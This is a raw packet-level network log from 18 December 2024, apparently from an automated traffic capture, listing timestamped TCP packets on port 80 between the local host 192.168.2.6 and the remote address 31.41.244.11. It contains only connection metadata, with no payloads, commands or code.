Dec 18, 2024 11:47:48.883920908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.883938074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.883968115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.883985996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.884953022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.884964943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.884993076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.885008097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.885739088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.885751963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.885776043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.885799885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.886651039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.886665106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.886693001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.886709929 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.888227940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.888240099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.888279915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.888299942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.889085054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.889096022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.889122963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.889137030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.890275002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.890286922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.890311956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.890336990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.891592026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.891603947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.891633034 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.891665936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.893536091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.893548012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.893590927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.894733906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.894746065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.894774914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.894793987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.895241022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.895257950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.895283937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.895319939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.895997047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.896008968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.896056890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.897125959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.897166967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.897176027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.897202015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.898653030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.898713112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.898735046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.898804903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.899631023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.899646044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.899667978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.899686098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.900777102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.900819063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.900837898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.900907040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.901859999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.901907921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.902718067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.902775049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.903476000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.903489113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.903513908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.903539896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.904160023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.904175043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.904197931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.904220104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.905582905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.905601025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.905628920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.905647993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.906560898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.906573057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.906599998 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.906631947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.907730103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.907776117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.907799959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.907838106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.908797979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.908843040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.909082890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.909118891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.910044909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.910057068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.910094976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.910129070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.911267042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.911293030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.911360025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.911360025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.912401915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.912441015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.912627935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.912682056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.913630962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.913655043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.913702011 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.914696932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.914715052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.914742947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.914761066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.915931940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.915967941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.915977001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.916007996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.917162895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.917175055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.917198896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.917217016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.918533087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.918549061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.918570042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.918601036 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.919478893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.919522047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.919580936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.919621944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.921150923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.921163082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.921189070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.921216965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.921902895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.921941996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.088915110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.088958025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.089020967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.089020967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.089545965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.089580059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.089601040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.089618921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.089696884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.089745045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.090966940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.091011047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.091027021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.091051102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.092093945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.092129946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.092150927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.092173100 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.093297005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.093353987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.093595982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.093647957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.094513893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.094564915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.094672918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.094718933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.095531940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.095567942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.095582962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.095607996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.096621990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.096656084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.096673012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.096693993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.097748041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.097784042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.097800016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.097821951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.099462986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.099502087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.099510908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.099539995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.100194931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.100234985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.100239038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.100274086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.101672888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.101711035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.101726055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.101748943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.102667093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.102727890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.103163004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.103204012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.103880882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.103918076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.103962898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.105325937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.105362892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.105389118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.105410099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.106836081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.106878042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.106914997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.106940985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.107810020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.107845068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.107887983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.108818054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.108853102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.108870983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.108889103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.109541893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.109576941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.109594107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.109613895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.110702991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.110749960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.110805035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.110851049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.112369061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.112401962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.112435102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.112448931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.113581896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.113631964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.113810062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.113853931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.114684105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.114718914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.114757061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.116151094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.116190910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.116211891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.116233110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.116997004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.117032051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.117058039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.118083000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.118119001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.118145943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.118294001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.118340969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.119174957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.119213104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.119230986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.119252920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.120697975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.120735884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.120759010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.120771885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.121247053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.121282101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.121289015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.121320009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.122994900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.123029947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.123075962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.123075962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.123836994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.123872995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.123929977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.124800920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.124839067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.124850988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.124878883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.126197100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.126236916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.126261950 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.126272917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.127279997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.127326965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.127351999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.127393961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.129143953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.129185915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.129209042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.129220009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.130598068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.130640984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.130666018 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.130676985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.131200075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.131242990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.131294012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.132617950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.132663965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.132731915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.134040117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.134056091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.134097099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.134111881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.134969950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.134987116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.135031939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.135819912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.136049986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.136102915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.137068033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.137079954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.137105942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.137121916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.138115883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.138128042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.138163090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.139045000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.139059067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.139126062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.139126062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.139982939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.139996052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.140043020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.141403913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.141416073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.141462088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.141484976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.142398119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.142663956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.142720938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.143418074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.143430948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.143472910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.144594908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.144609928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.144634962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.144654989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.145807028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.145819902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.145869017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.145883083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.146869898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.146897078 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.146929026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.146949053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.148087025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.148099899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.148154974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.149493933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.149507046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.149559975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.149584055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.280071020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.280087948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.280155897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.280891895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.280905008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.280915976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.280957937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.280991077 CET	49878	80	192.168.2.6	31.41.244.11
